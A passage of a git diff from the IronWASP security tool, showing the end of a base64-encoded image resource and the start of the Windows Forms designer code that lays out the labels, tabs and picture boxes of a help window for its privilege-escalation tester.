AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + a63vrv3MJo7vLgA+BIwEblFKzQQu11q/5PumBEGoj1LqtcDngcOADwPXAXdHfbarTif7An8ZdOlZ4FJg + FjBfogJByA7W2+8KfBf4ErCVbRoA9tFa3xD1va5hOrwW2K+maS1wBzAD+LXWepnvmxeETkUp9Qbgixhv + vwuwUc1H/gjsr7WO/H7XMJ3vC/y5zueeB34DzARudv2IIAjxYZ3znpiX/nPA6xwfHQA+prW+0dXXcAIA + Jgr4eAN23YWJCuZqrZ/0/ZAEIW8opbYHvop58d/XwFf+ABxQzzF3DdeDUmofzFzAsJ+1vAxUMWJwg9a6 + 3+9jE2oZOX/RxsB7AYXxElcB91RKhTW+bRM2RCm1CbAP5qX/DLBFg18dAPbWWt9U70ONCEAXZhzxiRbs + vxezlHih1vrRFJ+bUMPI+Yu2APYGDgY+DRRqPrIIuAbQwPWVUkFWfDyilNoR+CbwbWBEC10M6/2hQa+u + lNob+Gujn49gJXAlZq7gWq31qkSemvAfRs5f1AW8Fdgf89Lvh3usWMuLwPWYv9k1wIOVUmGt73vKO0qp + zTCO9jDgIGCzFrtaC3xUa33LcB9sVAC6MIryyRjuczEwB5gNLJWJw/gYOX/RRkAJ88Ir4L+BTdvsth+z + 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 + + + \ No newline at end of file diff --git a/Iron/Docs/DocForPrivilegeEscalationTester.Designer.cs b/Iron/Docs/DocForPrivilegeEscalationTester.Designer.cs new file mode 100644 index 0000000..df7cc6a --- /dev/null +++ b/Iron/Docs/DocForPrivilegeEscalationTester.Designer.cs @@ -0,0 +1,380 @@ +namespace IronWASP.Docs +{ + partial class DocForPrivilegeEscalationTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DocForPrivilegeEscalationTester)); + this.label1 = new System.Windows.Forms.Label(); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.pictureBox4 = new System.Windows.Forms.PictureBox(); + this.label5 = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label2 = new System.Windows.Forms.Label(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.label8 = new System.Windows.Forms.Label(); + this.pictureBox8 = new System.Windows.Forms.PictureBox(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.label3 = new System.Windows.Forms.Label(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.pictureBox9 = new System.Windows.Forms.PictureBox(); + this.label9 = new System.Windows.Forms.Label(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.pictureBox10 = new System.Windows.Forms.PictureBox(); + this.label10 = new System.Windows.Forms.Label(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.label4 = new System.Windows.Forms.Label(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.pictureBox7 = new System.Windows.Forms.PictureBox(); + this.pictureBox6 = new System.Windows.Forms.PictureBox(); + this.label6 = new System.Windows.Forms.Label(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox8)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + this.tabPage6.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox9)).BeginInit(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox10)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + this.tabPage5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(860, 166); + this.label1.TabIndex = 4; + this.label1.Text = resources.GetString("label1.Text"); + // + // tabControl1 + // + this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage6); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage5); + this.tabControl1.Location = new System.Drawing.Point(1, 186); + this.tabControl1.Margin = new System.Windows.Forms.Padding(0); + this.tabControl1.Name = 